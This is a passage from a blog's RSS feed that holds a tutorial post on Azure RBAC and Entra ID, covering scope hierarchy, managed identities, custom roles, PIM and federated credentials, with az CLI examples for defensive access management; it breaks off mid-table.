<p><a class="a2a_button_mastodon" href="https://www.addtoany.com/add_to/mastodon?linkurl=https%3A%2F%2Flinuxcent.com%2Fworkload-identity-oidc-service-accounts%2F&amp;linkname=OIDC%20Workload%20Identity%3A%20Eliminate%20Cloud%20Access%20Keys%20Entirely" title="Mastodon" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Flinuxcent.com%2Fworkload-identity-oidc-service-accounts%2F&amp;linkname=OIDC%20Workload%20Identity%3A%20Eliminate%20Cloud%20Access%20Keys%20Entirely" title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_whatsapp" href="https://www.addtoany.com/add_to/whatsapp?linkurl=https%3A%2F%2Flinuxcent.com%2Fworkload-identity-oidc-service-accounts%2F&amp;linkname=OIDC%20Workload%20Identity%3A%20Eliminate%20Cloud%20Access%20Keys%20Entirely" title="WhatsApp" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_reddit" href="https://www.addtoany.com/add_to/reddit?linkurl=https%3A%2F%2Flinuxcent.com%2Fworkload-identity-oidc-service-accounts%2F&amp;linkname=OIDC%20Workload%20Identity%3A%20Eliminate%20Cloud%20Access%20Keys%20Entirely" title="Reddit" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_x" href="https://www.addtoany.com/add_to/x?linkurl=https%3A%2F%2Flinuxcent.com%2Fworkload-identity-oidc-service-accounts%2F&amp;linkname=OIDC%20Workload%20Identity%3A%20Eliminate%20Cloud%20Access%20Keys%20Entirely" title="X" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_linkedin" href="https://www.addtoany.com/add_to/linkedin?linkurl=https%3A%2F%2Flinuxcent.com%2Fworkload-identity-oidc-service-accounts%2F&amp;linkname=OIDC%20Workload%20Identity%3A%20Eliminate%20Cloud%20Access%20Keys%20Entirely" title="LinkedIn" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_copy_link" href="https://www.addtoany.com/add_to/copy_link?linkurl=https%3A%2F%2Flinuxcent.com%2Fworkload-identity-oidc-service-accounts%2F&amp;linkname=OIDC%20Workload%20Identity%3A%20Eliminate%20Cloud%20Access%20Keys%20Entirely" title="Copy Link" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share#url=https%3A%2F%2Flinuxcent.com%2Fworkload-identity-oidc-service-accounts%2F&#038;title=OIDC%20Workload%20Identity%3A%20Eliminate%20Cloud%20Access%20Keys%20Entirely" data-a2a-url="https://linuxcent.com/workload-identity-oidc-service-accounts/" data-a2a-title="OIDC Workload Identity: Eliminate Cloud Access Keys Entirely"></a></p><p>The post <a href="https://linuxcent.com/workload-identity-oidc-service-accounts/">OIDC Workload Identity: Eliminate Cloud Access Keys Entirely</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://linuxcent.com/workload-identity-oidc-service-accounts/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">1484</post-id>	</item>
		<item>
		<title>Azure RBAC Explained: Management Groups, Subscriptions, and Scope</title>
		<link>https://linuxcent.com/azure-rbac-entra-id-guide/</link>
					<comments>https://linuxcent.com/azure-rbac-entra-id-guide/#respond</comments>
		
		<dc:creator><![CDATA[Vamshi Krishna Santhapuri]]></dc:creator>
		<pubDate>Thu, 16 Apr 2026 17:44:58 +0000</pubDate>
				<category><![CDATA[Cloud IAM]]></category>
		<category><![CDATA[Azure]]></category>
		<category><![CDATA[Azure Active Directory]]></category>
		<category><![CDATA[Azure RBAC]]></category>
		<category><![CDATA[Cloud Security]]></category>
		<category><![CDATA[Entra ID]]></category>
		<category><![CDATA[IAM]]></category>
		<category><![CDATA[Managed Identity]]></category>
		<category><![CDATA[PIM]]></category>
		<guid isPermaLink="false">https://linuxcent.com/azure-rbac-entra-id-guide/</guid>

					<description><![CDATA[<p><span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 11</span> <span class="rt-label rt-postfix">minutes</span></span>Azure RBAC and Entra ID deep dive: role definitions, assignments, managed identities, Privileged Identity Management, and federated credentials for workloads.</p>
<p>The post <a href="https://linuxcent.com/azure-rbac-entra-id-guide/">Azure RBAC Explained: Management Groups, Subscriptions, and Scope</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></description>
										<content:encoded><![CDATA[<span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 11</span> <span class="rt-label rt-postfix">minutes</span></span><style>
pre{position:relative;background:#1e1e1e;color:#d4d4d4;
    padding:16px 16px 16px 20px;border-radius:6px;overflow-x:auto;
    font-family:'JetBrains Mono','Fira Code','Cascadia Code',Consolas,'Courier New',monospace;
    font-size:.88em;line-height:1.6;border-left:4px solid #555}
code{background:#f4f4f4;padding:2px 5px;border-radius:3px;font-size:.9em}
pre code{background:transparent;padding:0;color:inherit}
pre[data-lang="bash"],pre[data-lang="sh"],
pre[data-lang="shell"],pre[data-lang="zsh"]{border-left-color:#4ec9b0}
pre[data-lang="yaml"],pre[data-lang="json"],
pre[data-lang="toml"],pre[data-lang="xml"]{border-left-color:#569cd6}
pre[data-lang="python"],pre[data-lang="go"],pre[data-lang="rust"],
pre[data-lang="java"],pre[data-lang="c"],pre[data-lang="cpp"]{border-left-color:#c586c0}
pre[data-lang="text"],pre[data-lang="output"],
pre[data-lang="console"]{border-left-color:#888}
.lc-copy-btn{position:absolute;top:8px;right:8px;background:#2d2d2d;color:#ccc;
    border:1px solid #444;border-radius:4px;padding:3px 9px;font-size:.75em;
    font-family:system-ui,sans-serif;cursor:pointer;opacity:0;
    transition:opacity .15s,background .15s;line-height:1.6}
pre:hover .lc-copy-btn{opacity:1}
.lc-copy-btn:hover{background:#3a3a3a;color:#fff}
.lc-copy-btn.copied{color:#4ec9b0;border-color:#4ec9b0}
.lc-lang-badge{position:absolute;top:8px;left:20px;font-family:system-ui,sans-serif;
    font-size:.7em;color:#666;text-transform:uppercase;letter-spacing:.04em;
    line-height:1;pointer-events:none;opacity:0;transition:opacity .15s}
pre:hover .lc-lang-badge{opacity:1}
table{border-collapse:collapse;width:100%;margin:16px 0}
th,td{border:1px solid #ddd;padding:10px 14px;text-align:left}
th{background:#f0f0f0;font-weight:600}
tr:nth-child(even){background:#fafafa}
</style>
<p><script>
(function(){
  if(window.__lcCodeEnhanced)return;
  window.__lcCodeEnhanced=true;
  function enhance(){
    document.querySelectorAll('pre').forEach(function(pre){
      var code=pre.querySelector('code');
      var lang='';
      if(code){var m=(code.className||'').match(/language-(\S+)/);if(m)lang=m[1].toLowerCase();}
      if(lang)pre.setAttribute('data-lang',lang);
      if(lang){var badge=document.createElement('span');badge.className='lc-lang-badge';badge.textContent=lang;pre.insertBefore(badge,pre.firstChild);}
      var btn=document.createElement('button');
      btn.className='lc-copy-btn';btn.textContent='Copy';btn.setAttribute('aria-label','Copy code to clipboard');
      pre.appendChild(btn);
      btn.addEventListener('click',function(){
        var text=code?code.innerText:pre.innerText;
        if(navigator.clipboard&&window.isSecureContext){
          navigator.clipboard.writeText(text).then(function(){ok(btn);}).catch(function(){fb(text,btn);});
        }else{fb(text,btn);}
      });
    });
  }
  function ok(btn){btn.textContent='Copied!';btn.classList.add('copied');setTimeout(function(){btn.textContent='Copy';btn.classList.remove('copied');},2000);}
  function fb(text,btn){
    try{var ta=document.createElement('textarea');ta.value=text;ta.style.cssText='position:fixed;left:-9999px;top:-9999px;opacity:0';document.body.appendChild(ta);ta.select();document.execCommand('copy');document.body.removeChild(ta);ok(btn);}
    catch(e){btn.textContent='✗ Failed';setTimeout(function(){btn.textContent='Copy';},2000);}
  }
  if(document.readyState==='loading'){document.addEventListener('DOMContentLoaded',enhance);}else{enhance();}
})();
</script></p>
<p><a href="/what-is-cloud-iam/">What Is Cloud IAM</a> → <a href="/authentication-vs-authorization-iam/">Authentication vs Authorization</a> → <a href="/iam-roles-policies-permissions-explained/">IAM Roles vs Policies</a> → <a href="/aws-iam-deep-dive/">AWS IAM Deep Dive</a> → <a href="/gcp-iam-deep-dive/">GCP Resource Hierarchy IAM</a> → <strong>Azure RBAC Scopes</strong></p>
<hr />
<h2 id="tldr">TL;DR</h2>
<ul>
<li>Entra ID and Azure RBAC are two separate authorization planes — Entra ID roles control the identity system; RBAC roles control Azure resources. Global Administrator doesn&#8217;t grant VM access.</li>
<li>Azure RBAC role assignments inherit downward through the hierarchy: Management Group → Subscription → Resource Group → Resource</li>
<li>Use managed identities for all Azure-hosted workloads — system-assigned for one-to-one resource binding, user-assigned for shared access across multiple resources</li>
<li><code class="" data-line="">Contributor</code> is the right role for most service identities — full resource management without the ability to modify RBAC assignments</li>
<li>The <code class="" data-line="">Actions</code> vs <code class="" data-line="">DataActions</code> split means you can audit management access and data access independently — an incomplete audit checks only one</li>
<li>PIM (Privileged Identity Management) should govern all Entra ID privileged roles — nobody should permanently hold Global Admin or Subscription Owner</li>
</ul>
<hr />
<h2 id="the-big-picture">The Big Picture</h2>
<pre><code class="" data-line="">         Azure: Two Separate Authorization Planes
─────────────────────────────────────────────────────────
  Entra ID (Identity Plane)      Azure RBAC (Resource Plane)
  ─────────────────────────      ───────────────────────────
  Controls:                      Controls:
  · Users, groups, apps          · Azure resources
  · Tenant settings              · Management groups
  · App registrations            · Subscriptions
  · Conditional access           · Resource groups
                                 · Individual resources

  Roles (examples):              Scope hierarchy:
  · Global Administrator         Management Group
  · User Administrator             └─ Subscription
  · Security Reader                     └─ Resource Group
  · Application Administrator                └─ Resource

  Scope: tenant-wide             Role assignment at any level
                                 inherits down to all nodes below

  Both planes use Entra ID identities.
  Authorization in each plane is completely independent.
  Global Admin ≠ Subscription Owner.
</code></pre>
<p>Azure RBAC scopes determine how far a role assignment reaches — and the blast radius of a misconfiguration scales directly with how high in the hierarchy it sits.</p>
<hr />
<h2 id="introduction">Introduction</h2>
<p>Azure RBAC scopes define where a role assignment applies and everything it inherits. A role at the Management Group level touches every subscription, every resource group, and every resource across your entire Azure estate. A role at the resource level touches only that resource. Understanding scope before making any assignment is the difference between &#8220;access for this storage account&#8221; and &#8220;access for your entire org.&#8221;</p>
<p>When I first worked seriously in Azure environments, I had a mental model carried over from Active Directory administration. Users, groups, directory roles — I knew how that worked. I assumed Azure&#8217;s IAM would be an extension of the same system, just with cloud resources bolted on.</p>
<p>That assumption got me into trouble within the first week.</p>
<p>I was trying to understand why an engineer had Global Administrator access in Entra ID but couldn&#8217;t see the resources in a Subscription. In Active Directory terms, if you&#8217;re a Domain Admin, you can see everything. In Azure, it doesn&#8217;t work that way.</p>
<p>Entra ID roles and Azure RBAC roles are <strong>two different systems</strong>. Global Administrator is an Entra ID role — it controls who can manage the identity plane: create users, manage app registrations, configure tenant settings. It has nothing to do with Azure resources like virtual machines, storage accounts, or Kubernetes clusters. Those are governed by Azure RBAC, which is an entirely separate authorization system.</p>
<p>I spent two hours trying to understand why a Global Admin couldn&#8217;t list VMs before someone explained this. I&#8217;m putting it at the top of this episode so you don&#8217;t lose those two hours.</p>
<hr />
<h2 id="entra-id-vs-azure-rbac-the-two-separate-planes">Entra ID vs Azure RBAC — The Two Separate Planes</h2>
<table>
<thead>
<tr>
<th></th>
<th>Entra ID</th>
<th>Azure RBAC</th>
</tr>
</thead>
<tbody>
<tr>
<td>Controls access to</td>
<td>Entra ID itself — users, groups, apps, tenant settings</td>
<td>Azure resources — VMs, storage, databases, subscriptions</td>
</tr>
<tr>
<td>Role types</td>
<td>Entra ID directory roles</td>
<td>Azure resource roles</td>
</tr>
<tr>
<td>Example roles</td>
<td>Global Admin, User Admin, Security Reader</td>
<td>Owner, Contributor, Storage Blob Data Reader</td>
</tr>
<tr>
<td>Scope</td>
<td>Tenant-wide</td>
<td>Management group → Subscription → Resource Group → Resource</td>
</tr>
<tr>
<td>Managed via</td>
<td>Entra ID admin center</td>
<td>Azure portal / ARM / Azure CLI</td>
</tr>
</tbody>
</table>
<p>A user can be Global Administrator — the highest Entra ID role — and have zero access to Azure resources unless explicitly assigned an Azure RBAC role. And vice versa: a user with Subscription Owner (highest Azure RBAC role) has no ability to manage Entra ID user accounts without an Entra ID role assignment.</p>
<p>These are not the same system. They&#8217;re connected — both use Entra ID identities as principals — but authorization in each plane is independent.</p>
<hr />
<h2 id="the-azure-resource-hierarchy">The Azure Resource Hierarchy</h2>
<p>Azure RBAC role assignments can be made at any level of the resource hierarchy, and they inherit downward:</p>
<pre><code class="" data-line="">Tenant (Entra ID)
  └── Management Group  (policy and RBAC inheritance across subscriptions)
        └── Management Group  (nested, up to 6 levels)
              └── Subscription  (billing and resource boundary)
                    └── Resource Group  (logical container for resources)
                          └── Resource  (VM, storage account, key vault, AKS cluster...)
</code></pre>
<p>A role assigned at the Subscription level applies to every resource group and resource in that subscription. A role at the Management Group level applies to every subscription beneath it.</p>
<p>The blast radius of a misconfiguration scales with how high in the hierarchy it sits. Subscription Owner at the subscription level is contained to that subscription. Management Group Contributor at the root management group touches your entire Azure estate.</p>
<pre><code class="" data-line=""># View management group hierarchy
az account management-group list --output table

# List subscriptions
az account list --output table

# View all role assignments at a scope — start here in any audit
az role assignment list \
  --scope /subscriptions/SUB_ID \
  --include-inherited \
  --output table
</code></pre>
<hr />
<h2 id="principal-types-in-azure-rbac">Principal Types in Azure RBAC</h2>
<table>
<thead>
<tr>
<th>Type</th>
<th>What It Is</th>
<th>Best For</th>
</tr>
</thead>
<tbody>
<tr>
<td>User</td>
<td>Entra ID user account</td>
<td>Human access</td>
</tr>
<tr>
<td>Group</td>
<td>Entra ID security group</td>
<td>Team-based access</td>
</tr>
<tr>
<td>Service Principal</td>
<td>App registration with credentials (secret or cert)</td>
<td>External systems, apps with their own identity</td>
</tr>
<tr>
<td>Managed Identity</td>
<td>Credential-less identity for Azure-hosted workloads</td>
<td>Everything running in Azure</td>
</tr>
</tbody>
</table>
<h3 id="managed-identities-the-right-model-for-workloads">Managed Identities — The Right Model for Workloads</h3>
<p>Managed identities are Azure&#8217;s answer to AWS instance profiles and GCP service accounts attached to compute. Azure manages the entire credential lifecycle — tokens are issued automatically, there&#8217;s nothing to create, rotate, or revoke manually.</p>
<p><strong>System-assigned managed identity</strong> is tied to a specific Azure resource. When the resource is deleted, the identity is deleted. One-to-one, no sharing.</p>
<pre><code class="" data-line=""># Enable system-assigned managed identity on a VM
az vm identity assign \
  --name my-vm \
  --resource-group rg-prod

# Get the principal ID (needed to assign RBAC roles to it)
az vm show \
  --name my-vm \
  --resource-group rg-prod \
  --query identity.principalId \
  --output tsv
</code></pre>
<p><strong>User-assigned managed identity</strong> is a standalone resource that can be attached to multiple Azure resources and persists independently. This is the right model when multiple services need the same access — instead of assigning the same RBAC roles to ten separate system-assigned identities, you create one user-assigned identity, grant it the roles, and attach it to all ten resources.</p>
<pre><code class="" data-line=""># Create a user-assigned managed identity
az identity create \
  --name app-backend-identity \
  --resource-group rg-identities

# Get its identifiers
az identity show \
  --name app-backend-identity \
  --resource-group rg-identities \
  --query &#039;{principalId:principalId, clientId:clientId}&#039;

# Attach to a VM
az vm identity assign \
  --name my-vm \
  --resource-group rg-prod \
  --identities /subscriptions/SUB/resourceGroups/rg-identities/providers/Microsoft.ManagedIdentity/userAssignedIdentities/app-backend-identity
</code></pre>
<p>Code running inside an Azure VM or App Service with a managed identity gets tokens via IMDS, with no credential management required:</p>
<pre><code class="" data-line="">from azure.identity import DefaultAzureCredential
from azure.storage.blob import BlobServiceClient

# DefaultAzureCredential automatically picks up the managed identity in Azure
credential = DefaultAzureCredential()
client = BlobServiceClient(
    account_url=&quot;https://myaccount.blob.core.windows.net&quot;,
    credential=credential
)
</code></pre>
<p>The <code class="" data-line="">DefaultAzureCredential</code> chain: managed identity → environment variables → workload identity → Visual Studio / VS Code authentication → Azure CLI. In Azure-hosted services, the managed identity path is used automatically. In local development, it falls through to the developer&#8217;s <code class="" data-line="">az login</code> session.</p>
<hr />
<h2 id="azure-role-definitions-understanding-actions-vs-dataactions">Azure Role Definitions — Understanding Actions vs DataActions</h2>
<p>A role definition specifies what actions it grants. Azure distinguishes two planes:</p>
<ul>
<li><strong>Actions:</strong> Control plane — managing the resource itself (create, delete, configure)</li>
<li><strong>DataActions:</strong> Data plane — accessing data within the resource (read blob contents, get secrets)</li>
<li><strong>NotActions / NotDataActions:</strong> Exceptions carved out from the grant</li>
</ul>
<pre><code class="" data-line="">{
  &quot;Name&quot;: &quot;Storage Blob Data Reader&quot;,
  &quot;IsCustom&quot;: false,
  &quot;Actions&quot;: [
    &quot;Microsoft.Storage/storageAccounts/blobServices/containers/read&quot;,
    &quot;Microsoft.Storage/storageAccounts/blobServices/generateUserDelegationKey/action&quot;
  ],
  &quot;NotActions&quot;: [],
  &quot;DataActions&quot;: [
    &quot;Microsoft.Storage/storageAccounts/blobServices/containers/blobs/read&quot;
  ],
  &quot;NotDataActions&quot;: [],
  &quot;AssignableScopes&quot;: [&quot;/&quot;]
}
</code></pre>
<p>The control/data plane split matters in audits. An identity with <code class="" data-line="">Microsoft.Storage/storageAccounts/read</code> (an Action) can see the storage account exists and view its properties. To actually read blob contents, it needs the DataAction <code class="" data-line="">Microsoft.Storage/storageAccounts/blobServices/containers/blobs/read</code>. These are separate grants. In an access audit, checking only Actions and missing DataActions is an incomplete picture.</p>
<h3 id="built-in-roles-worth-understanding">Built-in Roles Worth Understanding</h3>
<table>
<thead>
<tr>
<th>Role</th>
<th>Scope</th>
<th>What It Grants</th>
</tr>
</thead>
<tbody>
<tr>
<td>Owner</td>
<td>Any</td>
<td>Full access + can manage RBAC assignments — the highest trust role</td>
</tr>
<tr>
<td>Contributor</td>
<td>Any</td>
<td>Full resource management, but cannot manage RBAC</td>
</tr>
<tr>
<td>Reader</td>
<td>Any</td>
<td>Read-only on all resources</td>
</tr>
<tr>
<td>User Access Administrator</td>
<td>Any</td>
<td>Can manage RBAC assignments, no resource access</td>
</tr>
<tr>
<td>Storage Blob Data Contributor</td>
<td>Storage</td>
<td>Read/write/delete blob data</td>
</tr>
<tr>
<td>Storage Blob Data Reader</td>
<td>Storage</td>
<td>Read blob data only</td>
</tr>
<tr>
<td>Key Vault Secrets Officer</td>
<td>Key Vault</td>
<td>Manage secrets, not keys or certificates</td>
</tr>
<tr>
<td>AcrPush / AcrPull</td>
<td>Container Registry</td>
<td>Push or pull images</td>
</tr>
</tbody>
</table>
<p>The gap between <code class="" data-line="">Owner</code> and <code class="" data-line="">Contributor</code> is important: <code class="" data-line="">Contributor</code> can do everything to a resource except manage who has access to it. This is the right role for most service identities and automation — they need to manage resources, not manage permissions. If a compromised Contributor identity can&#8217;t modify RBAC assignments, it can&#8217;t grant itself or an attacker additional access.</p>
<p><code class="" data-line="">Owner</code> should be granted to people, not service identities, and only at the narrowest scope necessary.</p>
<h3 id="custom-roles">Custom Roles</h3>
<pre><code class="" data-line="">cat &gt; custom-app-storage.json &lt;&lt; &#039;EOF&#039;
{
  &quot;Name&quot;: &quot;App Storage Blob Reader&quot;,
  &quot;IsCustom&quot;: true,
  &quot;Description&quot;: &quot;Read app blobs only — no container management, no key operations&quot;,
  &quot;Actions&quot;: [
    &quot;Microsoft.Storage/storageAccounts/blobServices/containers/read&quot;
  ],
  &quot;DataActions&quot;: [
    &quot;Microsoft.Storage/storageAccounts/blobServices/containers/blobs/read&quot;
  ],
  &quot;NotActions&quot;: [],
  &quot;NotDataActions&quot;: [],
  &quot;AssignableScopes&quot;: [&quot;/subscriptions/SUB_ID&quot;]
}
EOF

az role definition create --role-definition custom-app-storage.json

# Assign it — specifically to this storage account
az role assignment create \
  --assignee-object-id &quot;$(az identity show --name app-backend-identity -g rg-identities --query principalId -o tsv)&quot; \
  --assignee-principal-type ServicePrincipal \
  --role &quot;App Storage Blob Reader&quot; \
  --scope /subscriptions/SUB_ID/resourceGroups/rg-prod/providers/Microsoft.Storage/storageAccounts/appstore
</code></pre>
<hr />
<h2 id="role-assignments-where-access-is-actually-granted">Role Assignments — Where Access Is Actually Granted</h2>
<p>The assignment brings everything together: principal + role + scope. This is the actual grant.</p>
<pre><code class="" data-line=""># Assign to a user (less common — prefer group assignments)
az role assignment create \
  --assignee alice@company.com \
  --role &quot;Storage Blob Data Reader&quot; \
  --scope /subscriptions/SUB_ID/resourceGroups/rg-prod/providers/Microsoft.Storage/storageAccounts/prodstore

# Assign to a group (better — one assignment, maintained via group membership)
GROUP_ID=$(az ad group show --group &quot;Backend-Team&quot; --query id -o tsv)
az role assignment create \
  --assignee-object-id &quot;$GROUP_ID&quot; \
  --assignee-principal-type Group \
  --role &quot;Contributor&quot; \
  --scope /subscriptions/SUB_ID/resourceGroups/rg-dev

# Assign to a managed identity
MI_PRINCIPAL=$(az identity show --name app-backend-identity --resource-group rg-identities --query principalId -o tsv)
az role assignment create \
  --assignee-object-id &quot;$MI_PRINCIPAL&quot; \
  --assignee-principal-type ServicePrincipal \
  --role &quot;Storage Blob Data Contributor&quot; \
  --scope /subscriptions/SUB_ID/resourceGroups/rg-prod/providers/Microsoft.Storage/storageAccounts/appstore

# Audit all assignments at and below a scope (including inherited)
az role assignment list \
  --scope /subscriptions/SUB_ID/resourceGroups/rg-prod \
  --include-inherited \
  --output table
</code></pre>
<p>Group-based assignments are the right model for humans at scale. When an engineer joins the Backend team, they join the Entra ID group. Their access follows. When they leave, you remove them from the group or disable their account. You never need to hunt down individual role assignments.</p>
<hr />
<h2 id="entra-id-roles-the-other-layer">Entra ID Roles — The Other Layer</h2>
<p>Entra ID roles control the identity infrastructure itself. These are distinct from Azure RBAC roles and deserve separate treatment:</p>
<table>
<thead>
<tr>
<th>Role</th>
<th>What It Controls</th>
</tr>
</thead>
<tbody>
<tr>
<td>Global Administrator</td>
<td>Everything in the tenant — highest privilege</td>
</tr>
<tr>
<td>Privileged Role Administrator</td>
<td>Assign and remove Entra ID roles</td>
</tr>
<tr>
<td>User Administrator</td>
<td>Create and manage users and groups</td>
</tr>
<tr>
<td>Application Administrator</td>
<td>Register and manage app registrations</td>
</tr>
<tr>
<td>Security Administrator</td>
<td>Manage security features and read reports</td>
</tr>
<tr>
<td>Security Reader</td>
<td>Read-only on security features</td>
</tr>
</tbody>
</table>
<p>Global Administrator in Entra ID is one of the most powerful identities in a Microsoft environment. It can modify any user, any app registration, any conditional access policy. Combined with the fact that Entra ID is also the identity provider for Microsoft 365, a Global Admin compromise can extend far beyond Azure resources into email, Teams, SharePoint — the entire Microsoft 365 estate.</p>
<p>Nobody should hold Global Administrator as a permanent assignment. This is where Privileged Identity Management (PIM) matters.</p>
<h3 id="privileged-identity-management-just-in-time-elevated-access">Privileged Identity Management — Just-in-Time Elevated Access</h3>
<p>PIM is Azure&#8217;s answer to the problem of permanent privileged role assignments. Instead of permanently holding Global Admin or Subscription Owner, users are made <em>eligible</em> for these roles. When they need elevated access, they activate it with a justification (and optionally an approval and MFA requirement). The access is time-limited — typically 8 hours — and automatically expires.</p>
<pre><code class="" data-line=""># List roles where the user is eligible (not permanently assigned)
az rest --method GET \
  --uri &quot;https://graph.microsoft.com/v1.0/roleManagement/directory/roleEligibilitySchedules&quot; \
  --query &quot;value[?principalId==&#039;USER_OBJECT_ID&#039;]&quot;

# A user activates an eligible role (calls this themselves when needed)
az rest --method POST \
  --uri &quot;https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignmentScheduleRequests&quot; \
  --body &#039;{
    &quot;action&quot;: &quot;selfActivate&quot;,
    &quot;principalId&quot;: &quot;USER_OBJECT_ID&quot;,
    &quot;roleDefinitionId&quot;: &quot;ROLE_DEF_ID&quot;,
    &quot;directoryScopeId&quot;: &quot;/&quot;,
    &quot;justification&quot;: &quot;Investigating security alert in tenant audit logs&quot;,
    &quot;scheduleInfo&quot;: {
      &quot;startDateTime&quot;: &quot;2026-04-16T00:00:00Z&quot;,
      &quot;expiration&quot;: { &quot;type&quot;: &quot;AfterDuration&quot;, &quot;duration&quot;: &quot;PT8H&quot; }
    }
  }&#039;
</code></pre>
<p>PIM is the right model for any role that could be used to escalate privileges: Global Administrator, Subscription Owner, Privileged Role Administrator, User Access Administrator. Nobody should have these permanently assigned unless there&#8217;s a strong operational reason — and even then, the assignment should be reviewed quarterly.</p>
<p>In one Azure environment I audited, I found 11 permanent Global Administrator assignments. The team thought this was normal because they&#8217;d all been made admins when the tenant was set up two years earlier and nobody had revisited it. Of the 11, three were former employees whose Entra ID accounts had been disabled — but the Global Admin role assignment was still there. Disabled users can&#8217;t use their accounts, but this is not a pattern you want to rely on.</p>
<hr />
<h2 id="federated-identity-for-external-workloads">Federated Identity for External Workloads</h2>
<p>For GitHub Actions, Kubernetes workloads, and other external systems that need to call Azure APIs, federated credentials eliminate service principal secrets:</p>
<pre><code class="" data-line=""># Create an app registration
APP_ID=$(az ad app create --display-name &quot;github-actions-deploy&quot; --query appId -o tsv)
SP_ID=$(az ad sp create --id &quot;$APP_ID&quot; --query id -o tsv)

# Add a federated credential for a specific GitHub repo and branch
az ad app federated-credential create \
  --id &quot;$APP_ID&quot; \
  --parameters &#039;{
    &quot;name&quot;: &quot;github-main-branch&quot;,
    &quot;issuer&quot;: &quot;https://token.actions.githubusercontent.com&quot;,
    &quot;subject&quot;: &quot;repo:my-org/my-repo:ref:refs/heads/main&quot;,
    &quot;audiences&quot;: [&quot;api://AzureADTokenExchange&quot;]
  }&#039;

# Grant the service principal an RBAC role
az role assignment create \
  --assignee-object-id &quot;$SP_ID&quot; \
  --role &quot;Contributor&quot; \
  --scope /subscriptions/SUB_ID/resourceGroups/rg-prod
</code></pre>
<p>GitHub Actions — no secrets stored in GitHub:</p>
<pre><code class="" data-line="">jobs:
  deploy:
    permissions:
      id-token: write   # required for OIDC token request
    steps:
      - uses: azure/login@v2
        with:
          client-id: ${{ secrets.AZURE_CLIENT_ID }}
          tenant-id: ${{ secrets.AZURE_TENANT_ID }}
          subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }}
      - run: az storage blob upload --account-name prodstore ...
</code></pre>
<p>The <code class="" data-line="">client-id</code>, <code class="" data-line="">tenant-id</code>, and <code class="" data-line="">subscription-id</code> values are not secrets — they&#8217;re identifiers. The actual authentication is the OIDC JWT from GitHub, verified against GitHub&#8217;s public keys, subject-matched against the configured condition (<code class="" data-line="">repo:my-org/my-repo:ref:refs/heads/main</code>). If the repo or branch doesn&#8217;t match, the token exchange fails. If it matches, a short-lived Azure token is issued.</p>
<hr />
<h2 id="production-gotchas"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/26a0.png" alt="⚠" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Production Gotchas</h2>
<p><strong>Global Admin ≠ Azure resource access</strong><br />
This trips up every team migrating from on-prem AD. Entra ID roles and Azure RBAC roles are independent systems. A Global Admin with no RBAC assignments cannot list VMs. Don&#8217;t assume directory privilege translates to resource access.</p>
<p><strong>Permanent Global Admin assignments are a standing breach risk</strong><br />
In the environment I audited: 11 permanent Global Admins, three of them disabled accounts. Disabled accounts can&#8217;t authenticate, but relying on that is not a security control. PIM eligible assignments + regular access reviews is the right answer.</p>
<p><strong><code class="" data-line="">Owner</code> on service identities lets compromised workloads modify RBAC</strong><br />
If a managed identity or service principal holds Owner, a compromised workload can grant additional permissions to itself or an attacker. Use <code class="" data-line="">Contributor</code> for workloads — full resource management, no RBAC modification.</p>
<p><strong>Checking only <code class="" data-line="">Actions</code> misses data-plane access</strong><br />
An audit that enumerates role <code class="" data-line="">Actions</code> and ignores <code class="" data-line="">DataActions</code> will miss identities with read access to blob contents, Key Vault secrets, or database records. Both planes need to be in scope.</p>
<p><strong>System-assigned identity is deleted with the resource</strong><br />
If you delete and recreate a VM using a system-assigned identity, the new identity is different. Any RBAC assignments made to the old identity are gone. User-assigned identities persist independently — use them for workloads where the resource lifecycle is separate from the identity lifecycle.</p>
<hr />
<h2 id="quick-reference">Quick Reference</h2>
<pre><code class="" data-line=""># Audit all role assignments at a subscription (including inherited)
az role assignment list \
  --scope /subscriptions/SUB_ID \
  --include-inherited \
  --output table

# Find all Owner assignments at subscription scope
az role assignment list \
  --scope /subscriptions/SUB_ID \
  --role Owner \
  --output table

# Get principal ID of a VM&#039;s managed identity
az vm show \
  --name my-vm \
  --resource-group rg-prod \
  --query identity.principalId \
  --output tsv

# View role definition — check Actions AND DataActions
az role definition list --name &quot;Storage Blob Data Reader&quot; --output json \
  | jq &#039;.[0] | {Actions: .permissions[0].actions, DataActions: .permissions[0].dataActions}&#039;

# List management group hierarchy
az account management-group list --output table

# Create user-assigned managed identity
az identity create --name app-identity --resource-group rg-identities

# Assign role to managed identity at resource scope
az role assignment create \
  --assignee-object-id &quot;$(az identity show -n app-identity -g rg-identities --query principalId -o tsv)&quot; \
  --assignee-principal-type ServicePrincipal \
  --role &quot;Storage Blob Data Contributor&quot; \
  --scope /subscriptions/SUB_ID/resourceGroups/rg-prod/providers/Microsoft.Storage/storageAccounts/mystore

# Check PIM eligible roles for a user
az rest --method GET \
  --uri &quot;https://graph.microsoft.com/v1.0/roleManagement/directory/roleEligibilitySchedules&quot; \
  --query &quot;value[?principalId==&#039;USER_OBJECT_ID&#039;].{role:roleDefinitionId,scope:directoryScopeId}&quot;
</code></pre>
<hr />
<h2 id="framework-alignment">Framework Alignment</h2>
<table>
<thead>
<tr>
<th>Framework</th>
<th>Reference</th>
<th>What It Covers Here</th>
</tr>
</thead>
<tbody>
<tr>
<td>CISSP</td>
<td>Domain 5 — Identity and Access Management</td>
<td>Azure&#8217;s directory-centric model; managed identities and PIM are the primary IAM constructs</td>
</tr>
<tr>
<td>CISSP</td>
